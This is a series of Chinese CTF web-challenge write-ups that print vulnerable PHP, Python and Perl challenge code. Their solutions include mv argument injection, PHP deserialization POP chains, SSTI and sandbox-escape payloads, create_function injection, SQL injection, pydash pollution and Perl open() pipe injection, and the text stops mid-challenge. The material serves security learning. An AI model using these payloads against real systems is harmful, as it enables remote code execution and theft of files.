    <h2>多文件上传服务</h2>

    <?php if ($message): ?>
        <div class="alert <?= strpos($message, '失败') ? '' : 'success' ?>">
            <?= $message ?>
        </div>
    <?php endif; ?>

    <form method="POST" enctype="multipart/form-data">
        <label for="files">选择文件：</label><br>
        <input type="file" name="files[]" id="files" multiple required>
        <button type="submit" name="upload">上传到临时目录</button>
    </form>

    <hr>

    <h3>待确认上传文件</h3>
    <?php if (empty($filesInTmp)): ?>
        <p>暂无待确认上传文件</p>
    <?php else: ?>
        <ul>
            <?php foreach ($filesInTmp as $file): ?>
                <li><?= htmlspecialchars($file) ?></li>
            <?php endforeach; ?>
        </ul>
        <form method="POST">
            <button type="submit" name="confirm_move">确认上传完毕，移动到存储目录</button>
        </form>
    <?php endif; ?>
</div>
</body>
</html>

直接说吧，这个的触发点在mv那里，就是这句

 exec("cd $uploadDir ; mv * $targetDi2>&1", $output, $returnCode);

因为这里我们可以控制的是*这个会被展开，这个程序大致就是把上传的文件mv到一个存储目录去，就可以利用mv的参数解析干坏事，因为并不是直接插入代码解析，所以没法直接拼接参数，可以用mv的参数来做危险操作，看这个解析

$fileParts = pathinfo($filename);
$extension = isset($fileParts['extension']) ? strtolower($fileParts['extension']) : '';

$extension = trim($extension, '.');

if (in_array($extension, $blacklist)) {
  $message .= "文件 {$filename} 因类型不安全（.{$extension}）被拒绝。<br>";
  continue;
}

这个pathinfo解析了传过来的文件名，如果后缀名存在就小写后赋值给$extension，如果不存在就赋空值，然后把"."给去掉之后看看是不是黑名单的，然后我们看重点，我们可以改mv内部参数，而有个参数就是备份加后缀的，直接打：

mv --backup --suffix=php shell. $target如此，解决

简单php的POP

源码

<?php
  error_reporting(0);

class begin {
  public $var1;
  public $var2;

  function __construct($a)
  {
    $this->var1 = $a;
  }
  function __destruct() {
    echo $this->var1;
  }

  public function __toString() {
    $newFunc = $this->var2;
    return $newFunc();
  }
}


class starlord {
  public $var4;
  public $var5;
  public $arg1;

  public function __call($arg1, $arg2) {
    $function = $this->var4;
    return $function();
  }

  public function __get($arg1) {
    $this->var5->ll2('b2');
  }
}

class anna {
  public $var6;
  public $var7;

  public function __toString() {
    $long = @$this->var6->add();
    return $long;
  }

  public function __set($arg1, $arg2) {
    if ($this->var7->tt2) {
      echo "yamada yamada";
    }
  }
}

class eenndd {
  public $command;

  public function __get($arg1) {
    if (preg_match("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i", $this->command)){
      echo "nonono";
    }else {
      eval($this->command);
    }
  }
}

class flaag {
  public $var10;
  public $var11="1145141919810";

  public function __invoke() {
    if (md5(md5($this->var11)) == 666) {
      return $this->var10->hey;
    }
  }
}


if (isset($_POST['ISCTF'])) {
  unserialize($_POST["ISCTF"]);
}else {
  highlight_file(__FILE__);
}

给payload

<?php
  class begin
{
  public $var1;
public $var2;
}
class starlord
{
  public $var4;
  public $var5;
  public $arg1;
}
class anna
{
  public $var6;
  public $var7;
}
class eenndd
{
  public $command;
}
class flaag
{
  public $var10;
  public $var11 = "1145141919810";
}

$v = new eenndd();
$v -> command = 'include$_GET[s];';

$o = new flaag();
$o ->var11 = '213';
$o -> var10 = $v;

$k = new starlord();
$k ->var4 =$o;

$a = new anna();
$a ->var6 = $k;

$be = new begin();
$be -> var1 = $a;



$c = serialize($be);
echo $c;

二次传参，解决

1.2两题

b@by n0t1ce b0ard

这题给了CVE，照着cve一步步来然后简单代码审计就出了，就是/registration.php这个路由下能上传文件，然后导致木马可被上传，然后简单拼接路径就没了，附个图过了喵喵

难过的bottle

源码有个黑名单

BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]

下面有模板渲染，直接打源码给你

from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time
import shutil


# hint: flag is in /flag

UPLOAD_DIR = 'uploads'
os.makedirs(UPLOAD_DIR, exist_ok=True)
MAX_FILE_SIZE = 1 * 1024 * 1024  # 1MB

BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]

def contains_blacklist(content):
    """检查内容是否包含黑名单中的关键词（不区分大小写）"""
    content = content.lower()
    return any(black_word in content for black_word in BLACKLIST)

def safe_extract_zip(zip_path, extract_dir):
    """安全解压ZIP文件（防止路径遍历攻击）"""
    with zipfile.ZipFile(zip_path, 'r') as zf:
        for member in zf.infolist():
            member_path = os.path.realpath(os.path.join(extract_dir, member.filename))
            if not member_path.startswith(os.path.realpath(extract_dir)):
                raise ValueError("非法文件路径: 路径遍历攻击检测")

            zf.extract(member, extract_dir)

@route('/')
def index():
    """首页"""
    return '''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ZIP文件查看器</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
    <div class="header text-center">
        <div class="container">
            <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
            <p class="lead">安全地上传和查看ZIP文件内容</p>
        </div>
    </div>
    <div class="container">
        <div class="row justify-content-center" id="index-page">
            <div class="col-md-8 text-center">
                <div class="card">
                    <div class="card-body p-5">
                        <div class="emoji-icon">📤</div>
                        <h2 class="card-title">轻松查看ZIP文件内容</h2>
                        <p class="card-text">上传ZIP文件并安全地查看其中的内容，无需解压到本地设备</p>
                        <div class="mt-4">
                            <a href="/upload" class="btn btn-primary btn-lg px-4 me-3">
                                📁 上传ZIP文件
                            </a>
                            <a href="#features" class="btn btn-outline-secondary btn-lg px-4">
                                ℹ️ 了解更多
                            </a>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <div class="row mt-5" id="features">
            <div class="col-md-4 mb-4">
                <div class="card h-100">
                    <div class="card-body text-center p-4">
                        <div class="emoji-icon">🛡️</div>
                        <h4>安全检测</h4>
                        <p>系统会自动检测上传文件，防止路径遍历攻击和恶意内容</p>
                    </div>
                </div>
            </div>
            <div class="col-md-4 mb-4">
                <div class="card h-100">
    <div class="card-body text-center p-4">
                        <div class="emoji-icon">📄</div>
                        <h4>内容预览</h4>
                        <p>直接在线查看ZIP文件中的文本内容，无需下载</p>
                    </div>
                </div>
            </div>
            <div class="col-md-4 mb-4">
                <div class="card h-100">
                    <div class="card-body text-center p-4">
                        <div class="emoji-icon">⚡</div>
                        <h4>快速处理</h4>
                        <p>高效处理小于1MB的ZIP文件，快速获取内容</p>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
    '''

@route('/upload')
def upload_page():
    """上传页面"""
    return '''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>上传ZIP文件</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
    <div class="header text-center">
        <div class="container">
            <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
            <p class="lead">安全地上传和查看ZIP文件内容</p>
        </div>
    </div>
    <div class="container mt-4">
        <div class="row justify-content-center">
            <div class="col-md-8">
                <div class="card">
                    <div class="card-header bg-primary text-white">
                        <h4 class="mb-0">📤 上传ZIP文件</h4>
                    </div>
                    <div class="card-body">
                        <form action="/upload" method="post" enctype="multipart/form-data" class="upload-form">
                            <div class="mb-3">
                                <label for="fileInput" class="form-label">选择ZIP文件（最大1MB）</label>
                                <input class="form-control" type="file" name="file" id="fileInput" accept=".zip" required>
                                <div class="form-text">仅支持.zip格式的文件，且文件大小不超过1MB</div>
                            </div>
                            <button type="submit" class="btn btn-primary w-100">
                                📤 上传文件
                            </button>
                        </form>
                    </div>
                </div>
                <div class="text-center mt-4">
                    <a href="/" class="btn btn-outline-secondary">
                        ↩️ 返回首页
                    </a>
                </div>
            </div>
        </div>
    </div>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
    '''

@post('/upload')
def upload():
    """处理文件上传"""
    zip_file = request.files.get('file')
    if not zip_file or not zip_file.filename.endswith('.zip'):
        return '请上传有效的ZIP文件'
    
    zip_file.file.seek(0, 2)  
    file_size = zip_file.file.tell()
    zip_file.file.seek(0)  
    
    if file_size > MAX_FILE_SIZE:
        return f'文件大小超过限制({MAX_FILE_SIZE/1024/1024}MB)'
    
    timestamp = str(time.time())
    unique_str = zip_file.filename + timestamp
    dir_hash = hashlib.md5(unique_str.encode()).hexdigest()
    extract_dir = os.path.join(UPLOAD_DIR, dir_hash)
    os.makedirs(extract_dir, exist_ok=True)
    
    zip_path = os.path.join(extract_dir, 'uploaded.zip')
    zip_file.save(zip_path)
    
    try:
        safe_extract_zip(zip_path, extract_dir)
    except (zipfile.BadZipFile, ValueError) as e:
        shutil.rmtree(extract_dir) 
        return f'处理ZIP文件时出错: {str(e)}'
    
    files = [f for f in os.listdir(extract_dir) if f != 'uploaded.zip']
    
    return template('''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>上传成功</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
    <div class="header text-center">
        <div class="container">
            <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
            <p class="lead">安全地上传和查看ZIP文件内容</p>
        </div>
    </div>

    <div class="container mt-4">
        <div class="row justify-content-center">
            <div class="col-md-8">
                <div class="card">
                    <div class="card-header bg-success text-white">
                        <h4 class="mb-0">✅ 上传成功!</h4>
                    </div>
                    <div class="card-body">
                        <div class="alert alert-success" role="alert">
                            ✅ 文件已成功上传并解压
                        </div>

                        <h5>文件列表:</h5>
                        <ul class="list-group mb-4">
                            % for file in files:
                            <li class="list-group-item d-flex justify-content-between align-items-center">
                                <span>📄 {{file}}</span>
                                <a href="/view/{{dir_hash}}/{{file}}" class="btn btn-sm btn-outline-primary">
                                    查看
                                </a>
                            </li>
                            % end
                        </ul>

                        % if files:
                        <div class="d-grid gap-2">
                            <a href="/view/{{dir_hash}}/{{files[0]}}" class="btn btn-primary">
                                👀 查看第一个文件
                            </a>
                        </div>
                        % end
                    </div>
                </div>

                <div class="text-center mt-4">
                    <a href="/upload" class="btn btn-outline-primary me-2">
                        ➕ 上传另一个文件
                    </a>
                    <a href="/" class="btn btn-outline-secondary">
                        🏠 返回首页
                    </a>
                </div>
            </div>
        </div>
    </div>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
    ''', dir_hash=dir_hash, files=files)

@route('/view/<dir_hash>/<filename:path>')
def view_file(dir_hash, filename):
    file_path = os.path.join(UPLOAD_DIR, dir_hash, filename)
    
    if not os.path.exists(file_path):
        return "文件不存在"
    
    if not os.path.isfile(file_path):
        return "请求的路径不是文件"
    
    real_path = os.path.realpath(file_path)
    if not real_path.startswith(os.path.realpath(UPLOAD_DIR)):
        return "非法访问尝试"
    
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            content = f.read()
    except:
        try:
            with open(file_path, 'r', encoding='latin-1') as f:
                content = f.read()
        except:
            return "无法读取文件内容（可能是二进制文件）"
    
    if contains_blacklist(content):
        return "文件内容包含不允许的关键词"
    
    try:
        return template(content)
    except Exception as e:
        return f"渲染错误: {str(e)}"

@route('/static/<filename:path>')
def serve_static(filename):
    """静态文件服务"""
    return static_file(filename, root='static')

@error(404)
def error404(error):
    return "讨厌啦不是说好只看看不摸的吗"

@error(500)
def error500(error):
    return "不要透进来啊啊啊啊"

if __name__ == '__main__':
    os.makedirs('static', exist_ok=True)
    
    #原神，启动!
    run(host='0.0.0.0', port=5000, debug=False)

大致是上传了一个zip，然后def一个函数检查一下zip有没有包含黑名单的字符，如果没有就解压之后去模板渲染，因为黑名单防得比较死，黑名单防了基本所有的字符，以及模板变量赋值等，但是防止的是ASCII的世界，但是python有个特性是自动归化，所以直接打 Unicode 字符，直接RCE。

Bypass

直接上源码

<?php
class FLAG
{
private $a;
protected $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a,$b);
eval($a.$b);
}
public function __destruct(){
$a = (string)$this->a;
$b = (string)$this->b;
if ($this->check($a,$b)){
$a("", $b);
}
else{
echo "Try again!";
}
}
private function check($a, $b) {
$blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
$blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];

$pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
$pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';

if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
return false;
}
return true;
}  
}


if (isset($_GET['exp'])) {
$p = unserialize($_GET['exp']);
var_dump($p);
}else{
highlight_file("index.php");
}

这里的__construct是没法触发的，触发点是 $a("", $b);，$a是函数名，$b是第二个参数，看到配置文件发现php的版本是php:7.1.30，这个版本有一个函数还没被ban，那就是 create_function，因为这个create_function('','xx')等于eval("function λ() { payload_here }");然后$b是}system('cat /flag')然后八进制转义直接出了，因为八进制是可以在php被直接解析的。

来签个到吧(小反序列)

给了附件，看看

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    $s = $_POST["shark"] ?? '喵喵喵?';

    if (str_starts_with($s, "blueshark:")) {
        $ss = substr($s, strlen("blueshark:"));

        $o = @unserialize($ss);

        $p = $db->prepare("INSERT INTO notes (content) VALUES (?)");
        $p->execute([$ss]);

        echo "save sucess!";
        exit(0);
    } else {
        echo "喵喵喵?";
        exit(1);
    }
}
<?php
require_once "./config.php";
require_once "./classes.php";

$id = $_GET["id"] ?? '喵喵喵?';

$s = $db->prepare("SELECT content FROM notes WHERE id = ?");
$s->execute([$id]);
$row = $s->fetch(PDO::FETCH_ASSOC);

if (! $row) {
    die("喵喵喵?");
}

$cfg = unserialize($row["content"]);

if ($cfg instanceof ShitMountant) {
    $r = $cfg->fetch();
    echo "ok!" . "<br>";
    echo nl2br(htmlspecialchars($r));
}
else {
    echo "喵喵喵?";
}
?>
<?php
class FileLogger {
    public $logfile = "/tmp/notehub.log";
    public $content = "";

    public function __construct($f=null) {
        if ($f) {
            $this->logfile = $f;
        }
    }

    public function write($msg) {
        $this->content .= $msg . "\n";
        file_put_contents($this->logfile, $this->content, FILE_APPEND);
    }

    public function __destruct() {
        if ($this->content) {
            file_put_contents($this->logfile, $this->content, FILE_APPEND);
        }
    }
}

class ShitMountant {
    public $url;
    public $logger;

    public function __construct($url) {
        $this->url = $url;
        $this->logger = new FileLogger();
    }

    public function fetch() {
        $c = file_get_contents($this->url);
        if ($this->logger) {
            $this->logger->write("fetched ==> " . $this->url);
        }
        return $c;
    }

    public function __destruct() {
        $this->fetch();
    }
}
?>

叙述步骤，在index.php里接受shark参数，并且将它插入字段，并且删去前缀blueshark，然后插入字段名content,这样这个content在api有用，然后看api路由，这里的content本=被反序列化，然后下面有个检测，如果这个$cfg反序列化return的结果是ShitMountant类的实例，然后看class.php，我们要调用的是fetch方法去读flag，我们手搓一下payload的php代码

<?php
  class ShitMountant{
  public $url;
public $logger;
}

$o=new ShitMountant();
$o->url = '/flag';
$o->logger='null';

echo serialize($o);

我看了看一个注意的地方，如果logger值不是null而是Null那么logger值会被当成字符串然后下面if成功调用，然后在Null里找不到write方法就会报错，所以会直接终止并不会返回$c数据。

ok直接反序列化上传直接回显flag.结束

flag？我就借走了

这题开始是这个界面

看到这个能解压，还是tar，利用软链接带出文件，直接拿到flag

命令是ln -s 源文件或目录链接名称

Who am I

开头给了这个界面

爆破没用，抓包尝试SQL

POST /login HTTP/1.1
Host: challenge.bluesharkinfo.com:28459
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Origin: http://challenge.bluesharkinfo.com:28459
Connection: keep-alive
Referer: http://challenge.bluesharkinfo.com:28459/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
username=adminww&password=123wwwww&type=1

发现这个包有个type字段，正常登录注册是没用的如果更改type字段会有个报错，来看看

暴露可疑路径/272e1739b89da32e983970ece1a086bd，访问一下

成功进入后台，接下来是代码审计

from flask import Flask,request,render_template,redirect,url_for
import json
import pydash

app=Flask(__name__)

database={}
data_index=0
name=''

@app.route('/',methods=['GET'])
def index():
    return render_template('login.html')

@app.route('/register',methods=['GET'])
def register():
    return render_template('register.html')

@app.route('/registerV2',methods=['POST'])
def registerV2():
    username=request.form['username']
    password=request.form['password']
    password2=request.form['password2']
    if password!=password2:
        return '''
        <script>
        alert('前后密码不一致，请确认后重新输入。');
        window.location.href='/register';
        </script>
        '''
    else:
        global data_index
        data_index+=1
        database[data_index]=username
        database[username]=password
        return redirect(url_for('index'))

@app.route('/user_dashboard',methods=['GET'])
def user_dashboard():
    return render_template('dashboard.html')

@app.route('/272e1739b89da32e983970ece1a086bd',methods=['GET'])
def A272e1739b89da32e983970ece1a086bd():
    return render_template('admin.html')

@app.route('/operate',methods=['GET'])
def operate():
    username=request.args.get('username')
    password=request.args.get('password')
    confirm_password=request.args.get('confirm_password')
    if username in globals() and "old" not in password:
        Username=globals()[username]
        try:
            pydash.set_(Username,password,confirm_password)
            return "oprate success"
        except:
            return "oprate failed"
    else:
        return "oprate failed"

@app.route('/user/name',methods=['POST'])
def name():
    return {'username':user}

def logout():
    return redirect(url_for('index'))

@app.route('/reset',methods=['POST'])
def reset():
    old_password=request.form['old_password']
    new_password=request.form['new_password']
    if user in database and database[user] == old_password:
        database[user]=new_password
        return '''
        <script>
        alert('密码修改成功，请重新登录。');
        window.location.href='/';
        </script>
        '''
    else:
        return '''
        <script>
        alert('密码修改失败，请确认旧密码是否正确。');
        window.location.href='/user_dashboard';
        </script>
        '''

@app.route('/impression',methods=['GET'])
def impression():
    point=request.args.get('point')
    if len(point) > 5:
        return "Invalid request"
    List=["{","}",".","%","<",">","_"]
    for i in point:
        if i in List:
            return "Invalid request"
    return render_template(point)

@app.route('/login',methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    type=request.form['type']
    if username in database and database[username] != password:
        return '''
        <script>
        alert('用户名或密码错误请重新输入。');
        window.location.href='/';
        </script>
        '''
    elif username not in database:
        return '''
        <script>
        alert('用户名或密码错误请重新输入。');
        window.location.href='/';
        </script>
        '''
    else:
        global name
        name=username    
        if int(type)==1:
            return redirect(url_for('user_dashboard'))
        elif int(type)==0:
            return redirect(url_for('A272e1739b89da32e983970ece1a086bd'))

if __name__=='__main__':
    app.run(host='0.0.0.0',port=8080,debug=False)

重要的是两个路由，一个/impression，一个/operate路由，大概就是/operate路由可以改变默认渲染路径，

使用了pydash.set_(名字，路径，值),直接改为pydash.set_(app, "jinja_loader.searchpath.0", "/")，这app是应用对象，然后改默认渲染路径为根目录，然后直接在/impression路由传参point=flag就ok

ezrce

这题开始给了这个界面

这题只能允许a-zA-Z和()和_和；

那么我们可以构造这样的payload

方案1，chdir(dirname(dirname(dirname(getcwd()))));chdir(flag);highlight_file(flag)

不解释了，你看得懂

方案2,system(next(getheaders()))然后把第二个ua头改成cat ../../../flag，这样也可以。

flag到底在哪(简单SQL)

这题让我对SQL的理解提升很多，来吧

开始是上面这个界面，爆破无果，尝试下面的方法，直接抓个POST包看看

然后用拼接绕过，这里讲一下,如果原码的语句是select * form users where username='admin' and password='输入的'。如果这里输入上面就会变成and passowrd = '' or '1' = '1'--+'这样右边的or '1' = '1'永远为真，所以可以通过校验.

Python沙箱逃逸(check in)

Sat, 20 Dec 2025 00:00:00 GMT

1.Python沙箱逃逸(check in)

给你源码

'''
I wish you a good head start.
flag is in file namely 'flag' in the same directory as this file.

Good luck!
'''

import re
import flask
import requests
import ipaddress
from urllib.parse import urlparse

GENERAL_WAF_REGEX = r'[a-zA-Z0-9_\[\]{}()<>,.!@#$^&*]{3}' # only two of these characters ;)

app = flask.Flask(__name__)

def general_waf(code):
    # Why do you need so many characters?
    if re.findall(GENERAL_WAF_REGEX, code):
        return True
    else:
        return False

def check_hostname(url):
    # must starts with vnctf.
    if not url.startswith('http://vnctf.'):
        return False

    hostname = urlparse(url).hostname
    query = urlparse(url).query

    # must only contain two of the restricted characters
    if general_waf(query):
        return False

    # must not be an ip address, so no 127.0.0.1 or ::1
    try:
        ipaddress.ip_address(hostname)
        return False
    except ValueError:
        pass

    return url

@app.route('/')
def index():
    return 'Welcome to MINI VNCTF 2025!'

@app.route('/fetch')
def fetch():
    url = flask.request.args.get('url')
    safe_url = check_hostname(url)
    if safe_url:
        try:
            response = requests.get(safe_url, allow_redirects=False) # no redirects
            return response.text
        except:
            return 'Error'
    else:
        return 'Invalid URL'

@app.route('/__internal/safe_eval')
def safe_eval():
    # check if the request is from the internal network
    if flask.request.remote_addr not in ['127.0.0.1', '::1']:
        return 'Forbidden'

    code = flask.request.args.get('hi')

    if len(code) >= 24 * 10 + 8 * 8:
        # Man! What can I say. 
        return 'Invalid code'

    # Ah, if you get here, then your final challenge is to break this jail.
    # Try it. Not as hard as it seems ;)
    blacklist = ['\\x','+','join', '"', "'", '[', ']', '2', '3', '4', '5', '6', '7', '8', '9']
    for i in blacklist:
        if i in code:
            return 'Invalid code'
    
    safe_globals = {'__builtins__':None, 'lit':list, 'dic':dict}

    return repr(eval(code, safe_globals))

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=8080)

这里分三部分，第一部绕过本地地址限制，第二部是二次网络访问导致FLASK二次url解码绕过黑名单，第三部是最重要的沙箱逃逸。开始吧

先看这里

GENERAL_WAF_REGEX = r'[a-zA-Z0-9_\[\]{}()<>,.!@#$^&*]{3}' # only two of these characters ;)

这个黑名单的正则意思是任意里面三个不能连续出现，这极其严格，让我们看看后面

def check_hostname(url):
    # must starts with vnctf.
    if not url.startswith('http://vnctf.'):
        return False

        hostname = urlparse(url).hostname
        query = urlparse(url).query

        # must only contain two of the restricted characters
        if general_waf(query):
            return False

        # must not be an ip address, so no 127.0.0.1 or ::1
        try:
            ipaddress.ip_address(hostname)
        return False
except ValueError:
        pass

看看这里，，要求url参数以http://vnctf.开始，并且分割了其中的hostname和query查询参数，就是说如果访问地址是自身地址但不能是127.0.0.1，也就是说可以用localhost这种绕过，总结一下就是说只能自身访问自己，然后必须以http://vnctf.开头，但是这是有漏洞的，网络的写法是这样的:

scheme://userinfo@localhost:port/path，这样的话因为waf简单检验了前面的http://vnctf，而后面就可以跟着@localhost:8080这样，然后就可以利用fetch去二次传请求了，因为直接访问会被waf拦，然后到了重点一环的路由/__internal/safe_eval

@app.route('/__internal/safe_eval')
def safe_eval():
    # check if the request is from the internal network
    if flask.request.remote_addr not in ['127.0.0.1', '::1']:
        return 'Forbidden'

    code = flask.request.args.get('hi')

    if len(code) >= 24 * 10 + 8 * 8:
        # Man! What can I say. 
        return 'Invalid code'

    # Ah, if you get here, then your final challenge is to break this jail.
    # Try it. Not as hard as it seems ;)
    blacklist = ['\\x','+','join', '"', "'", '[', ']', '2', '3', '4', '5', '6', '7', '8', '9']
    for i in blacklist:
        if i in code:
            return 'Invalid code'
    
    safe_globals = {'__builtins__':None, 'lit':list, 'dic':dict}

    return repr(eval(code, safe_globals))

这个路由先检查了客户端的访问地址必须是本地的，能解析成127.0.0.1的。，然后把hi参数赋值给code，然后限制了长度为304，然后黑名单封了十六进制，以及字符串拼接，引号都被ban了，还不能用数字，并且不能用内置模块，只能用list和dict两个模块，这怎么逃逸呢，让我们来看看:

现在，我就要重塑python沙箱逃逸，沙箱逃逸有三个法则

法则1，一切可为类，一切可溯源，就比如说下面

# 从一个数字开始
1 .__class__              # <class 'int'>
1 .__class__.__base__     # <class 'object'>

# 从一个字符串开始
"" .__class__            # <class 'str'>
"" .__class__.__mro__    # (<class 'str'>, <class 'object'>)

# 从一个元组开始（本题用的）
() .__class__            # <class 'tuple'>
() .__class__.__base__   # <class 'object'>

法则2：object是所有类的“总祖宗”

找到object后，就能看到它所有的“子孙后代”：

object.__subclasses__()  # 返回所有内置类
# 大概有几百个，比如：
# <class 'int'>, <class 'str'>, <class 'list'>, 
# <class 'warnings.catch_warnings'>, <class 'os._wrap_close'>, ...

法则三，一切类会有初始方法，也就是说，会有一些原始的东西，出厂自带的东西是可以调用的,举几个例子

warnings.catch_warnings：能拿到__builtins__
os._wrap_close：能拿到os模块
subprocess.Popen：能执行命令
在这个题目环境下，只让用dict和list，利用了两个特性，如果是x=dict(x=1)这样没有单引号和双引号，这样就建了一个字典{'x':'1'}然后list(x)就将键组成了一个数组，['x']，然后用pop()方法取出就避免了使用'和"，下面是payload

lit(c for c in lit(o for o in ().__class__.__mro__ if o.__name__==lit(dic(object=1)).pop()).pop().__subclasses__() if c.__name__==lit(dic(catch_warnings=1)).pop()).pop().__init__.__globals__.get(lit(dic(__builtins__=1)).pop()).get(lit(dic(open=1)).pop())(lit(dic(flag=1)).pop()).read()

结束.

浅浅谈一谈一题的perl的open函数

Sat, 20 Dec 2025 00:00:00 GMT

浅浅谈一谈一题的perl的open函数

给了源码，就是perl的审计，问题不大，很快看懂了

#!/usr/bin/perl

use strict;
use warnings;
use HTTP::Daemon;
use HTTP::Status;
use File::Spec;
use File::MimeInfo::Simple;  # cpan install File::MimeInfo::Simple
use File::Basename;
use CGI qw(escapeHTML);

my $webroot = "./files";

my $d = HTTP::Daemon->new(LocalAddr => '0.0.0.0', LocalPort => 8080, Reuse => 1) || die "Failed to start server: $!";

print "Server running at: ", $d->url, "\n";

while (my $c = $d->accept) {
    while (my $r = $c->get_request) {
        if ($r->method eq 'GET') {
            my $path = CGI::unescape($r->uri->path);
            $path =~ s|^/||;     # Remove leading slash
            $path ||= 'index.html';

            my $fullpath = File::Spec->catfile($webroot, $path);

            if ($fullpath =~ /\.\.|[,\`\)\(;&]|\|.*\|/) {
                $c->send_error(RC_BAD_REQUEST, "Invalid path");
                next;
            }

            if (-d $fullpath) {
                # Serve directory listing
                opendir(my $dh, $fullpath) or do {
                    $c->send_error(RC_FORBIDDEN, "Cannot open directory.");
                    next;
                };

                my @files = readdir($dh);
                closedir($dh);

                my $html = "<html><body><h1>Index of /$path</h1><ul>";
                foreach my $f (@files) {
                    next if $f =~ /^\./;  # Skip dotfiles
                    my $link = "$path/$f";
                    $link =~ s|//|/|g;
                    $html .= qq{<li><a href="/$link">} . escapeHTML($f) . "</a></li>";
                }
                $html .= "</ul></body></html>";

                my $resp = HTTP::Response->new(RC_OK);
                $resp->header("Content-Type" => "text/html");
                $resp->content($html);
                $c->send_response($resp);

            } else {
                open(my $fh, $fullpath) or do {
                    $c->send_error(RC_INTERNAL_SERVER_ERROR, "Could not open file.");
                    next;
                };
                binmode $fh;
                my $content = do { local $/; <$fh> };
                close $fh;

                my $mime = 'text/html';

                my $resp = HTTP::Response->new(RC_OK);
                $resp->header("Content-Type" => $mime);
                $resp->content($content);
                $c->send_response($resp);
            }
        } else {
            $c->send_error(RC_METHOD_NOT_ALLOWED);
        }
    }
    $c->close;
    undef($c);
}

解释一下，大致就是服务端捕获客户端请求，然后去进行一系列的过滤，最后去拼接的一个过程，这个过程没有什么命令执行啥的，但是，这里open有个特性，如果open后面有俩参数，而我们可以控制其中一个的时候，我们可以用管道符，就像open( my $a,$kk)如果$kk后面跟|，那么就会被当成命令丢给shell，然后本来是要拼接./file/xxxx的，我们要使它是一个独立的命令，所以用换行符编码%0a,然后就

/bin/cat  /flag

注意这个cat是一个ELF可执行文件，而/flag是作为参数的，所以不能/bin/bash cat /flag，后面的只会当成参数而不是命令，ok完结。

?CTF2025 writeup

Sat, 20 Dec 2025 00:00:00 GMT

week4php反序列化

开始给了这些代码

<?php
?php
highlight_file('index.php');

Class Start
{
    public $ishero;
    public $adventure;


    public function __wakeup(){

        if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") {
            echo "<br>勇者啊，去寻找利刃吧<br>";

            return $this->adventure->sword;
        }
        else{
            echo "前方的区域以后再来探索吧！<br>";
        }
    }
}

class Sword
{
    public $test1;
    public $test2;
    public $go;

    public function __get($name)
    {
        if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) {
            echo "沉睡的利刃被你唤醒了，是时候去讨伐魔王了！<br>";
            echo $this->go;
        } else {
            echo "Dead";
        }
    }
}
class Mon3tr
{
    private $result;
    public $end;

    public function __toString()
    {
        $result = new Treasure();
        echo "到此为止了！魔王<br>";
        if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) {
            $result->end($this->end);
        } else {
            echo "难道……要输了吗？<br>";
        }
        return "<br>";
    }
}
class Treasure
{
    public function __call($name, $arg)
    {
        echo "结束了？<br>";
        eval($arg[0]);
    }
}

